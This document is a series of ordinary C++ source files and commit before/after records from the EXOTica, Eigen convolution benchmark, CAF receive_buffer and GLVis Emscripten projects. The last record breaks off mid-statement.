<exotica_core_task_maps\/eff_position.h>\n\nREGISTER_TASKMAP_TYPE(\"EffPosition\", exotica::EffPosition);\n\nnamespace exotica\n{\nvoid EffPosition::Update(Eigen::VectorXdRefConst x, Eigen::VectorXdRef phi)\n{\n if (phi.rows() != kinematics[0].Phi.rows() * 3) ThrowNamed(\"Wrong size of Phi!\");\n for (int i = 0; i < kinematics[0].Phi.rows(); ++i)\n {\n phi(i * 3) = kinematics[0].Phi(i).p[0];\n phi(i * 3 + 1) = kinematics[0].Phi(i).p[1];\n phi(i * 3 + 2) = kinematics[0].Phi(i).p[2];\n }\n}\n\nvoid EffPosition::Update(Eigen::VectorXdRefConst x, Eigen::VectorXdRef phi, Eigen::MatrixXdRef jacobian)\n{\n if (phi.rows() != kinematics[0].Phi.rows() * 3) ThrowNamed(\"Wrong size of Phi!\");\n if (jacobian.rows() != kinematics[0].jacobian.rows() * 3 || jacobian.cols() != kinematics[0].jacobian(0).data.cols()) ThrowNamed(\"Wrong size of jacobian! \" << kinematics[0].jacobian(0).data.cols());\n for (int i = 0; i < kinematics[0].Phi.rows(); ++i)\n {\n phi(i * 3) = kinematics[0].Phi(i).p[0];\n phi(i * 3 + 1) = kinematics[0].Phi(i).p[1];\n phi(i * 3 + 2) = kinematics[0].Phi(i).p[2];\n jacobian.middleRows(i * 3, 3) = kinematics[0].jacobian[i].data.topRows(3);\n }\n}\n\nvoid EffPosition::Update(Eigen::VectorXdRefConst x, Eigen::VectorXdRef phi, Eigen::MatrixXdRef jacobian, HessianRef hessian)\n{\n if (phi.rows() != kinematics[0].Phi.rows() * 3) ThrowNamed(\"Wrong size of Phi!\");\n if (jacobian.rows() != kinematics[0].jacobian.rows() * 3 || jacobian.cols() != kinematics[0].jacobian(0).data.cols()) ThrowNamed(\"Wrong size of jacobian! \" << kinematics[0].jacobian(0).data.cols());\n for (int i = 0; i < kinematics[0].Phi.rows(); ++i)\n {\n phi(i * 3) = kinematics[0].Phi(i).p[0];\n phi(i * 3 + 1) = kinematics[0].Phi(i).p[1];\n phi(i * 3 + 2) = kinematics[0].Phi(i).p[2];\n jacobian.middleRows(i * 3, 3) = kinematics[0].jacobian[i].data.topRows(3);\n\n for (int j = 0; j < 3; ++j)\n {\n hessian(i * 3 + j).block(0, 0, jacobian.cols(), jacobian.cols()) = kinematics[0].hessian[i](j);\n }\n }\n}\n\nint EffPosition::TaskSpaceDim()\n{\n return kinematics[0].Phi.rows() * 3;\n}\n} \/\/ namespace exotica\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include <iostream>\n#include <Eigen\/Core>\n#include <chrono>\n\n#include \"eigen_spatial_convolutions.h\"\n#include \"eigen_cuboid_convolution.h\"\n\n\nint main()\n{\n std::cout << \"Hello World!\\n\";\n\n const int input_depth = 3;\n const int input_rows = 227;\n const int input_cols = 227;\n const int num_batches = 1;\n const int output_depth = 96;\n const int patch_rows = 11;\n const int patch_cols = 11;\n const int output_rows = input_rows - patch_rows + 1;\n const int output_cols = input_cols - patch_cols + 1;\n\n using namespace Eigen;\n\n Tensor<float, 4, RowMajor> input(num_batches, input_cols, input_rows, input_depth);\n Tensor<float, 4, RowMajor> kernel(patch_cols, patch_rows, input_depth, output_depth);\n Tensor<float, 4, RowMajor> result(num_batches, output_cols, output_rows, output_depth);\n\n input = input.constant(11.0f) + input.random();\n kernel = kernel.constant(2.0f) + kernel.random();\n\n using namespace std::chrono;\n milliseconds t0 = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n result = SpatialConvolution(input, kernel, 4, 4, PADDING_SAME);\n milliseconds t1 = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n auto difference = std::chrono::duration_cast<std::chrono::milliseconds>(t1 - t0).count();\n std::cout << difference << \" ms\" << std::endl;\n\n return 0;\n}\n<commit_msg>exp ..<commit_after>\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include <iostream>\n#include <Eigen\/Core>\n#include <chrono>\n\n#include \"eigen_spatial_convolutions.h\"\n#include \"eigen_cuboid_convolution.h\"\n\n\nvoid test_conv2d () {\n const int input_depth = 3;\n const int input_rows = 227;\n const int input_cols = 227;\n const int num_batches = 1;\n const int output_depth = 96;\n const int patch_rows = 11;\n const int patch_cols = 11;\n const int output_rows = input_rows - patch_rows + 1;\n const int output_cols = input_cols - patch_cols + 1;\n\n using namespace Eigen;\n\n Tensor<float, 4, RowMajor> input(num_batches, input_cols, input_rows, input_depth);\n Tensor<float, 4, RowMajor> kernel(patch_cols, patch_rows, input_depth, output_depth);\n Tensor<float, 4, RowMajor> result(num_batches, output_cols, output_rows, output_depth);\n\n input = input.constant(11.0f) + input.random();\n kernel = kernel.constant(2.0f) + kernel.random();\n\n using namespace std::chrono;\n milliseconds t0 = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n result = SpatialConvolution(input, kernel, 4, 4, PADDING_SAME);\n milliseconds t1 = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n int difference = std::chrono::duration_cast<std::chrono::milliseconds>(t1 - t0).count();\n std::cout << difference << \" ms\" << std::endl;\n}\n\n\nvoid test_conv2d_back_input () {\n\n}\n\n\nint main()\n{\n std::cout << \"Hello World!\\n\";\n\n test_conv2d ();\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * ____ _ _____ *\n * \/ ___| \/ \\ | ___| C++ *\n * | | \/ _ \\ | |_ Actor *\n * | |___ \/ ___ \\| _| Framework *\n * \\____\/_\/ \\_|_| *\n * *\n * Copyright 2011-2018 Dominik Charousset *\n * *\n * Distributed under the terms and conditions of the BSD 3-Clause License or *\n * (at your option) under the terms and conditions of the Boost Software *\n * License 1.0. See accompanying files LICENSE and LICENSE_ALTERNATIVE. *\n * *\n * If you did not receive a copy of the license files, see *\n * http:\/\/opensource.org\/licenses\/BSD-3-Clause and *\n * http:\/\/www.boost.org\/LICENSE_1_0.txt. *\n ******************************************************************************\/\n\n#pragma once\n\n#include <cstddef>\n#include <cstring>\n#include <memory>\n\n#include \"caf\/allowed_unsafe_message_type.hpp\"\n#include \"caf\/detail\/io_export.hpp\"\n\nnamespace caf::io::network {\n\n\/\/\/ A container that does not call constructors and destructors for its values.\nclass CAF_IO_EXPORT receive_buffer {\npublic:\n using value_type = char;\n using size_type = size_t;\n using difference_type = std::ptrdiff_t;\n using reference = value_type&;\n using const_reference = const value_type&;\n using pointer = value_type*;\n using const_pointer = std::pointer_traits<pointer>::rebind<const value_type>;\n using iterator = pointer;\n using const_iterator = const_pointer;\n using reverse_iterator = std::reverse_iterator<iterator>;\n using const_reverse_iterator = std::reverse_iterator<const_iterator>;\n using buffer_ptr\n = std::unique_ptr<value_type[], std::default_delete<value_type[]>>;\n\n \/\/\/ Create an empty container.\n receive_buffer() noexcept;\n\n \/\/\/ Create an empty container of size `count`. Data in the storage is not\n \/\/\/ initialized.\n receive_buffer(size_t count);\n\n \/\/\/ Move constructor.\n receive_buffer(receive_buffer&& other) noexcept;\n\n \/\/\/ Copy constructor.\n receive_buffer(const receive_buffer& other);\n\n \/\/\/ Move assignment operator.\n receive_buffer& operator=(receive_buffer&& other) noexcept;\n\n \/\/\/ Copy assignment operator.\n receive_buffer& operator=(const receive_buffer& other);\n\n \/\/\/ Returns a pointer to the underlying buffer.\n pointer data() noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns a const pointer to the data.\n const_pointer data() const noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns the number of stored elements.\n size_type size() const noexcept {\n return size_;\n }\n\n \/\/\/ Returns the number of elements that the container has allocated space for.\n size_type capacity() const noexcept {\n return capacity_;\n }\n\n \/\/\/ Returns the maximum possible number of elements the container\n \/\/\/ could theoretically hold.\n size_type max_size() const noexcept {\n return std::numeric_limits<size_t>::max();\n }\n\n \/\/\/ Resize the container to `new_size`. While this may increase its storage,\n \/\/\/ no storage will be released.\n void resize(size_type new_size);\n\n \/\/\/ Set the size of the storage to `new_size`. If `new_size` is smaller than\n \/\/\/ the current capacity nothing happens. If `new_size` is larger than the\n \/\/\/ current capacity all iterators are invalidated.\n void reserve(size_type new_size);\n\n \/\/\/ Shrink the container to its current size.\n void shrink_to_fit();\n\n \/\/\/ Check if the container is empty.\n bool empty() const noexcept {\n return size_ == 0;\n }\n\n \/\/\/ Clears the content of the container and releases the allocated storage.\n void clear();\n\n \/\/\/ Swap contents with `other` receive buffer.\n void swap(receive_buffer& other) noexcept;\n\n \/\/\/ Returns an iterator to the beginning.\n iterator begin() noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns an iterator to the end.\n iterator end() noexcept {\n return buffer_.get() + size_;\n }\n\n \/\/\/ Returns an iterator to the beginning.\n const_iterator begin() const noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns an iterator to the end.\n const_iterator end() const noexcept {\n return buffer_.get() + size_;\n }\n\n \/\/\/ Returns an iterator to the beginning.\n const_iterator cbegin() const noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns an iterator to the end.\n const_iterator cend() const noexcept {\n return buffer_.get() + size_;\n }\n\n \/\/\/ Returns jan iterator to the reverse beginning.\n reverse_iterator rbegin() noexcept {\n return reverse_iterator{buffer_.get() + size_};\n }\n\n \/\/\/ Returns an iterator to the reverse end of the data.\n reverse_iterator rend() noexcept {\n return reverse_iterator{buffer_.get()};\n }\n\n \/\/\/ Returns an iterator to the reverse beginning.\n const_reverse_iterator rbegin() const noexcept {\n return const_reverse_iterator{buffer_.get() + size_};\n }\n\n \/\/\/ Returns an iterator to the reverse end of the data.\n const_reverse_iterator rend() const noexcept {\n return const_reverse_iterator{buffer_.get()};\n }\n\n \/\/\/ Returns an iterator to the reverse beginning.\n const_reverse_iterator crbegin() const noexcept {\n return const_reverse_iterator{buffer_.get() + size_};\n }\n\n \/\/\/ Returns an iterator to the reverse end of the data.\n const_reverse_iterator crend() const noexcept {\n return const_reverse_iterator{buffer_.get()};\n }\n\n \/\/\/ Insert `value` before `pos`.\n iterator insert(iterator pos, value_type value);\n\n \/\/\/ Insert `value` before `pos`.\n template <class InputIterator>\n iterator insert(iterator pos, InputIterator first, InputIterator last) {\n auto n = std::distance(first, last);\n if (n == 0)\n return pos;\n auto offset = static_cast<size_t>(std::distance(begin(), pos));\n auto old_size = size_;\n resize(old_size + static_cast<size_t>(n));\n pos = begin() + offset;\n if (offset != old_size) {\n memmove(pos + n, pos, old_size - offset);\n }\n return std::copy(first, last, pos);\n }\n\n \/\/\/ Append `value`.\n void push_back(value_type value);\n\nprivate:\n \/\/ Increse the buffer capacity, maintaining its data. May invalidate\n \/\/ iterators.\n void increase_by(size_t bytes);\n\n \/\/ Reduce the buffer capacity, maintaining its data. May invalidate iterators.\n void shrink_by(size_t bytes);\n\n buffer_ptr buffer_;\n size_type capacity_;\n size_type size_;\n};\n\n} \/\/ namespace caf::io::network\n<commit_msg>Add missing include<commit_after>\/******************************************************************************\n * ____ _ _____ *\n * \/ ___| \/ \\ | ___| C++ *\n * | | \/ _ \\ | |_ Actor *\n * | |___ \/ ___ \\| _| Framework *\n * \\____\/_\/ \\_|_| *\n * *\n * Copyright 2011-2018 Dominik Charousset *\n * *\n * Distributed under the terms and conditions of the BSD 3-Clause License or *\n * (at your option) under the terms and conditions of the Boost Software *\n * License 1.0. See accompanying files LICENSE and LICENSE_ALTERNATIVE. *\n * *\n * If you did not receive a copy of the license files, see *\n * http:\/\/opensource.org\/licenses\/BSD-3-Clause and *\n * http:\/\/www.boost.org\/LICENSE_1_0.txt. *\n ******************************************************************************\/\n\n#pragma once\n\n#include <cstddef>\n#include <cstring>\n#include <limits>\n#include <memory>\n\n#include \"caf\/allowed_unsafe_message_type.hpp\"\n#include \"caf\/detail\/io_export.hpp\"\n\nnamespace caf::io::network {\n\n\/\/\/ A container that does not call constructors and destructors for its values.\nclass CAF_IO_EXPORT receive_buffer {\npublic:\n using value_type = char;\n using size_type = size_t;\n using difference_type = std::ptrdiff_t;\n using reference = value_type&;\n using const_reference = const value_type&;\n using pointer = value_type*;\n using const_pointer = std::pointer_traits<pointer>::rebind<const value_type>;\n using iterator = pointer;\n using const_iterator = const_pointer;\n using reverse_iterator = std::reverse_iterator<iterator>;\n using const_reverse_iterator = std::reverse_iterator<const_iterator>;\n using buffer_ptr\n = std::unique_ptr<value_type[], std::default_delete<value_type[]>>;\n\n \/\/\/ Create an empty container.\n receive_buffer() noexcept;\n\n \/\/\/ Create an empty container of size `count`. Data in the storage is not\n \/\/\/ initialized.\n receive_buffer(size_t count);\n\n \/\/\/ Move constructor.\n receive_buffer(receive_buffer&& other) noexcept;\n\n \/\/\/ Copy constructor.\n receive_buffer(const receive_buffer& other);\n\n \/\/\/ Move assignment operator.\n receive_buffer& operator=(receive_buffer&& other) noexcept;\n\n \/\/\/ Copy assignment operator.\n receive_buffer& operator=(const receive_buffer& other);\n\n \/\/\/ Returns a pointer to the underlying buffer.\n pointer data() noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns a const pointer to the data.\n const_pointer data() const noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns the number of stored elements.\n size_type size() const noexcept {\n return size_;\n }\n\n \/\/\/ Returns the number of elements that the container has allocated space for.\n size_type capacity() const noexcept {\n return capacity_;\n }\n\n \/\/\/ Returns the maximum possible number of elements the container\n \/\/\/ could theoretically hold.\n size_type max_size() const noexcept {\n return std::numeric_limits<size_t>::max();\n }\n\n \/\/\/ Resize the container to `new_size`. While this may increase its storage,\n \/\/\/ no storage will be released.\n void resize(size_type new_size);\n\n \/\/\/ Set the size of the storage to `new_size`. If `new_size` is smaller than\n \/\/\/ the current capacity nothing happens. If `new_size` is larger than the\n \/\/\/ current capacity all iterators are invalidated.\n void reserve(size_type new_size);\n\n \/\/\/ Shrink the container to its current size.\n void shrink_to_fit();\n\n \/\/\/ Check if the container is empty.\n bool empty() const noexcept {\n return size_ == 0;\n }\n\n \/\/\/ Clears the content of the container and releases the allocated storage.\n void clear();\n\n \/\/\/ Swap contents with `other` receive buffer.\n void swap(receive_buffer& other) noexcept;\n\n \/\/\/ Returns an iterator to the beginning.\n iterator begin() noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns an iterator to the end.\n iterator end() noexcept {\n return buffer_.get() + size_;\n }\n\n \/\/\/ Returns an iterator to the beginning.\n const_iterator begin() const noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns an iterator to the end.\n const_iterator end() const noexcept {\n return buffer_.get() + size_;\n }\n\n \/\/\/ Returns an iterator to the beginning.\n const_iterator cbegin() const noexcept {\n return buffer_.get();\n }\n\n \/\/\/ Returns an iterator to the end.\n const_iterator cend() const noexcept {\n return buffer_.get() + size_;\n }\n\n \/\/\/ Returns jan iterator to the reverse beginning.\n reverse_iterator rbegin() noexcept {\n return reverse_iterator{buffer_.get() + size_};\n }\n\n \/\/\/ Returns an iterator to the reverse end of the data.\n reverse_iterator rend() noexcept {\n return reverse_iterator{buffer_.get()};\n }\n\n \/\/\/ Returns an iterator to the reverse beginning.\n const_reverse_iterator rbegin() const noexcept {\n return const_reverse_iterator{buffer_.get() + size_};\n }\n\n \/\/\/ Returns an iterator to the reverse end of the data.\n const_reverse_iterator rend() const noexcept {\n return const_reverse_iterator{buffer_.get()};\n }\n\n \/\/\/ Returns an iterator to the reverse beginning.\n const_reverse_iterator crbegin() const noexcept {\n return const_reverse_iterator{buffer_.get() + size_};\n }\n\n \/\/\/ Returns an iterator to the reverse end of the data.\n const_reverse_iterator crend() const noexcept {\n return const_reverse_iterator{buffer_.get()};\n }\n\n \/\/\/ Insert `value` before `pos`.\n iterator insert(iterator pos, value_type value);\n\n \/\/\/ Insert `value` before `pos`.\n template <class InputIterator>\n iterator insert(iterator pos, InputIterator first, InputIterator last) {\n auto n = std::distance(first, last);\n if (n == 0)\n return pos;\n auto offset = static_cast<size_t>(std::distance(begin(), pos));\n auto old_size = size_;\n resize(old_size + static_cast<size_t>(n));\n pos = begin() + offset;\n if (offset != old_size) {\n memmove(pos + n, pos, old_size - offset);\n }\n return std::copy(first, last, pos);\n }\n\n \/\/\/ Append `value`.\n void push_back(value_type value);\n\nprivate:\n \/\/ Increse the buffer capacity, maintaining its data. May invalidate\n \/\/ iterators.\n void increase_by(size_t bytes);\n\n \/\/ Reduce the buffer capacity, maintaining its data. May invalidate iterators.\n void shrink_by(size_t bytes);\n\n buffer_ptr buffer_;\n size_type capacity_;\n size_type size_;\n};\n\n} \/\/ namespace caf::io::network\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-443271.\n\/\/\n\/\/ This file is part of the GLVis visualization tool and library. For more\n\/\/ information and source code availability see https:\/\/glvis.org.\n\/\/\n\/\/ GLVis is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n#include \"visual.hpp\"\n#include \"palettes.hpp\"\n#include \"stream_reader.hpp\"\n#include <SDL2\/SDL_hints.h>\n#include <emscripten\/bind.h>\n#include <emscripten\/html5.h>\n\nstd::string plot_caption;\nstd::string extra_caption; \/\/ used in extern context\nmfem::GeometryRefiner GLVisGeometryRefiner; \/\/ used in extern context\n\nstatic VisualizationSceneScalarData * vs = nullptr;\n\nnamespace js\n{\n\nusing namespace mfem;\n\n\/\/ Replace a given VectorFiniteElement-based grid function (e.g. from a Nedelec\n\/\/ or Raviart-Thomas space) with a discontinuous piece-wise polynomial Cartesian\n\/\/ product vector grid function of the same order.\nGridFunction *ProjectVectorFEGridFunction(GridFunction *gf)\n{\n if ((gf->VectorDim() == 3) && (gf->FESpace()->GetVDim() == 1))\n {\n int p = gf->FESpace()->GetOrder(0);\n cout << \"Switching to order \" << p\n << \" discontinuous vector grid function...\" << endl;\n int dim = gf->FESpace()->GetMesh()->Dimension();\n FiniteElementCollection *d_fec = new L2_FECollection(p, dim, 1);\n FiniteElementSpace *d_fespace =\n new FiniteElementSpace(gf->FESpace()->GetMesh(), d_fec, 3);\n GridFunction *d_gf = new GridFunction(d_fespace);\n d_gf->MakeOwner(d_fec);\n gf->ProjectVectorFieldOn(*d_gf);\n delete gf;\n return d_gf;\n }\n return gf;\n}\n\nbool startVisualization(const std::string input, const std::string data_type,\n int w, int h)\n{\n std::stringstream ss(input);\n\n \/\/ 0 - scalar data, 1 - vector data, 2 - mesh only, (-1) - unknown\n const int field_type = ReadStream(ss, data_type);\n\n \/\/ reset antialiasing\n GetAppWindow()->getRenderer().setAntialiasing(0);\n\n std::string line;\n while (ss >> line)\n {\n if (line == \"keys\")\n {\n std::cout << \"parsing 'keys'\" << std::endl;\n ss >> stream_state.keys;\n }\n else\n {\n std::cout << \"unknown line '\" << line << \"'\" << std::endl;\n }\n }\n\n if (field_type < 0 || field_type > 2)\n {\n return false;\n }\n\n if (InitVisualization(\"glvis\", 0, 0, w, h))\n {\n return false;\n }\n\n delete vs;\n vs = nullptr;\n\n double mesh_range = -1.0;\n if (field_type == 0 || field_type == 2)\n {\n if (stream_state.grid_f)\n {\n stream_state.grid_f->GetNodalValues(stream_state.sol);\n }\n if (stream_state.mesh->SpaceDimension() == 2)\n {\n VisualizationSceneSolution * vss;\n if (stream_state.normals.Size() > 0)\n {\n vs = vss = new VisualizationSceneSolution(*stream_state.mesh, stream_state.sol,\n &stream_state.normals);\n }\n else\n {\n vs = vss = new VisualizationSceneSolution(*stream_state.mesh, stream_state.sol);\n }\n if (stream_state.grid_f)\n {\n vss->SetGridFunction(*stream_state.grid_f);\n }\n if (field_type == 2)\n {\n vs->OrthogonalProjection = 1;\n vs->SetLight(0);\n vs->Zoom(1.8);\n \/\/ Use the 'bone' palette when visualizing a 2D mesh only (otherwise\n \/\/ the 'jet-like' palette is used in 2D, see vssolution.cpp).\n paletteSet(4);\n }\n }\n else if (stream_state.mesh->SpaceDimension() == 3)\n {\n VisualizationSceneSolution3d * vss;\n vs = vss = new VisualizationSceneSolution3d(*stream_state.mesh,\n stream_state.sol);\n if (stream_state.grid_f)\n {\n vss->SetGridFunction(stream_state.grid_f);\n }\n if (field_type == 2)\n {\n if (stream_state.mesh->Dimension() == 3)\n {\n \/\/ Use the 'white' palette when visualizing a 3D volume mesh only\n \/\/ paletteSet(4);\n paletteSet(11);\n vss->SetLightMatIdx(4);\n }\n else\n {\n \/\/ Use the 'bone' palette when visualizing a surface mesh only\n \/\/ (the same as when visualizing a 2D mesh only)\n paletteSet(4);\n }\n \/\/ Otherwise, the 'vivid' palette is used in 3D see vssolution3d.cpp\n\n vss->ToggleDrawAxes();\n vss->ToggleDrawMesh();\n }\n }\n if (field_type == 2)\n {\n if (stream_state.grid_f)\n {\n mesh_range = stream_state.grid_f->Max() + 1.0;\n }\n else\n {\n mesh_range = stream_state.sol.Max() + 1.0;\n }\n }\n }\n else if (field_type == 1)\n {\n if (stream_state.mesh->SpaceDimension() == 2)\n {\n if (stream_state.grid_f)\n {\n vs = new VisualizationSceneVector(*stream_state.grid_f);\n }\n else\n {\n vs = new VisualizationSceneVector(*stream_state.mesh, stream_state.solu,\n stream_state.solv);\n }\n }\n else if (stream_state.mesh->SpaceDimension() == 3)\n {\n if (stream_state.grid_f)\n {\n stream_state.grid_f = ProjectVectorFEGridFunction(stream_state.grid_f);\n vs = new VisualizationSceneVector3d(*stream_state.grid_f);\n }\n else\n {\n vs = new VisualizationSceneVector3d(*stream_state.mesh, stream_state.solu,\n stream_state.solv, stream_state.solw);\n }\n }\n }\n\n if (vs)\n {\n \/\/ increase the refinement factors if visualizing a GridFunction\n if (stream_state.grid_f)\n {\n vs->AutoRefine();\n vs->SetShading(2, true);\n }\n if (mesh_range > 0.0)\n {\n vs->SetValueRange(-mesh_range, mesh_range);\n vs->SetAutoscale(0);\n }\n if (stream_state.mesh->SpaceDimension() == 2 && field_type == 2)\n {\n SetVisualizationScene(vs, 2);\n }\n else\n {\n SetVisualizationScene(vs, 3);\n }\n }\n\n CallKeySequence(stream_state.keys.c_str());\n\n SendExposeEvent();\n return true;\n}\n\n\nint updateVisualization(std::string data_type, std::string stream)\n{\n std::stringstream ss(stream);\n\n if (data_type != \"solution\")\n {\n std::cerr << \"unsupported data type '\" << data_type << \"' for stream update\" <<\n std::endl;\n return 1;\n }\n\n auto * new_m = new Mesh(ss, 1, 0, stream_state.fix_elem_orient);\n auto * new_g = new GridFunction(new_m, ss);\n double mesh_range = -1.0;\n\n if (new_m->SpaceDimension() == stream_state.mesh->SpaceDimension() &&\n new_g->VectorDim() == stream_state.grid_f->VectorDim())\n {\n if (new_m->SpaceDimension() == 2)\n {\n if (new_g->VectorDim() == 1)\n {\n VisualizationSceneSolution *vss =\n dynamic_cast<VisualizationSceneSolution *>(vs);\n new_g->GetNodalValues(stream_state.sol);\n vss->NewMeshAndSolution(new_m, &stream_state.sol, new_g);\n }\n else\n {\n VisualizationSceneVector *vsv =\n dynamic_cast<VisualizationSceneVector *>(vs);\n vsv->NewMeshAndSolution(*new_g);\n }\n }\n else\n {\n if (new_g->VectorDim() == 1)\n {\n VisualizationSceneSolution3d *vss =\n dynamic_cast<VisualizationSceneSolution3d *>(vs);\n new_g->GetNodalValues(stream_state.sol);\n vss->NewMeshAndSolution(new_m, &stream_state.sol, new_g);\n }\n else\n {\n new_g = ProjectVectorFEGridFunction(new_g);\n VisualizationSceneVector3d *vss =\n dynamic_cast<VisualizationSceneVector3d *>(vs);\n vss->NewMeshAndSolution(new_m, new_g);\n }\n }\n if (mesh_range > 0.0)\n {\n vs->SetValueRange(-mesh_range, mesh_range);\n }\n\n delete stream_state.grid_f;\n stream_state.grid_f = new_g;\n delete stream_state.mesh;\n stream_state.mesh = new_m;\n\n SendExposeEvent();\n return 0;\n }\n else\n {\n cout << \"Stream: field type does not match!\" << endl;\n delete new_g;\n delete new_m;\n return 1;\n }\n}\n\nvoid iterVisualization()\n{\n GetAppWindow()->mainIter();\n}\n\nvoid setCanvasId(const std::string & id)\n{\n std::cout << \"glvis: setting canvas id to \" << id << std::endl;\n GetAppWindow()->setCanvasId(id);\n}\n\nvoid disableKeyHandling()\n{\n SDL_EventState(SDL_KEYDOWN, SDL_DISABLE);\n SDL_EventState(SDL_KEYUP, SDL_DISABLE);\n}\n\nvoid enableKeyHandling()\n{\n SDL_EventState(SDL_KEYDOWN, SDL_ENABLE);\n SDL_EventState(SDL_KEYUP, SDL_ENABLE);\n}\n\nvoid setKeyboardListeningElementId(const std::string & id)\n{\n SDL_SetHint(SDL_HINT_EMSCRIPTEN_KEYBOARD_ELEMENT, id.c_str());\n}\n\nvoid setupResizeEventCallback(const std::string & id)\n{\n \/\/ typedef EM_BOOL (*em_ui_callback_func)(int eventType, const EmscriptenUiEvent *uiEvent, void *userData);\n std::cout << \"glvis: adding resize callback for \" << id << std::endl;\n auto err = emscripten_set_resize_callback(id.c_str(), nullptr,\n true, [](int eventType, const EmscriptenUiEvent *uiEvent,\n void *userData) -> EM_BOOL\n {\n std::cout << \"got resize event\" << std::endl;\n return true;\n });\n \/\/ TODO: macro to wrap this\n if (err != EMSCRIPTEN_RESULT_SUCCESS)\n {\n std::cerr << \"error (emscripten_set_resize_callback): \" << err << std::endl;\n }\n}\n\nstd::string getHelpString()\n{\n VisualizationSceneScalarData* vss\n = dynamic_cast<VisualizationSceneScalarData*>(GetVisualizationScene());\n return vss->GetHelpString();\n}\n} \/\/ namespace js\n\nnamespace em = emscripten;\nEMSCRIPTEN_BINDINGS(js_funcs)\n{\n em::function(\"startVisualization\", &js::startVisualization);\n em::function(\"updateVisualization\", &js::updateVisualization);\n em::function(\"iterVisualization\", &js::iterVisualization);\n em::function(\"sendExposeEvent\", &SendExposeEvent);\n em::function(\"disableKeyHanding\", &js::disableKeyHandling);\n em::function(\"enableKeyHandling\", &js::enableKeyHandling);\n em::function(\"setKeyboardListeningElementId\",\n js::setKeyboardListeningElementId);\n em::function(\"getTextureMode\", &GetUseTexture);\n em::function(\"setTextureMode\", &SetUseTexture);\n em::function(\"resizeWindow\", &ResizeWindow);\n em::function(\"setCanvasId\", &js::setCanvasId);\n em::function(\"setupResizeEventCallback\", &js::setupResizeEventCallback);\n em::function(\"getHelpString\", &js::getHelpString);\n}\n<commit_msg>Parse the valuerange command in JS streams<commit_after>\/\/ Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-443271.\n\/\/\n\/\/ This file is part of the GLVis visualization tool and library. For more\n\/\/ information and source code availability see https:\/\/glvis.org.\n\/\/\n\/\/ GLVis is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n#include \"visual.hpp\"\n#include \"palettes.hpp\"\n#include \"stream_reader.hpp\"\n#include <SDL2\/SDL_hints.h>\n#include <emscripten\/bind.h>\n#include <emscripten\/html5.h>\n\nstd::string plot_caption;\nstd::string extra_caption; \/\/ used in extern context\nmfem::GeometryRefiner GLVisGeometryRefiner; \/\/ used in extern context\n\nstatic VisualizationSceneScalarData * vs = nullptr;\n\nnamespace js\n{\n\nusing namespace mfem;\n\n\/\/ Replace a given VectorFiniteElement-based grid function (e.g. from a Nedelec\n\/\/ or Raviart-Thomas space) with a discontinuous piece-wise polynomial Cartesian\n\/\/ product vector grid function of the same order.\nGridFunction *ProjectVectorFEGridFunction(GridFunction *gf)\n{\n if ((gf->VectorDim() == 3) && (gf->FESpace()->GetVDim() == 1))\n {\n int p = gf->FESpace()->GetOrder(0);\n cout << \"Switching to order \" << p\n << \" discontinuous vector grid function...\" << endl;\n int dim = gf->FESpace()->GetMesh()->Dimension();\n FiniteElementCollection *d_fec = new L2_FECollection(p, dim, 1);\n FiniteElementSpace *d_fespace =\n new FiniteElementSpace(gf->FESpace()->GetMesh(), d_fec, 3);\n GridFunction *d_gf = new GridFunction(d_fespace);\n d_gf->MakeOwner(d_fec);\n gf->ProjectVectorFieldOn(*d_gf);\n delete gf;\n return d_gf;\n }\n return gf;\n}\n\nbool startVisualization(const std::string input, const std::string data_type,\n int w, int h)\n{\n std::stringstream ss(input);\n\n \/\/ 0 - scalar data, 1 - vector data, 2 - mesh only, (-1) - unknown\n const int field_type = ReadStream(ss, data_type);\n\n \/\/ reset antialiasing\n GetAppWindow()->getRenderer().setAntialiasing(0);\n\n std::string line;\n double minv = 0.0, maxv = 0.0;\n while (ss >> line)\n {\n if (line == \"keys\")\n {\n std::cout << \"parsing 'keys'\" << std::endl;\n ss >> stream_state.keys;\n }\n else if (line == \"valuerange\")\n {\n std::cout << 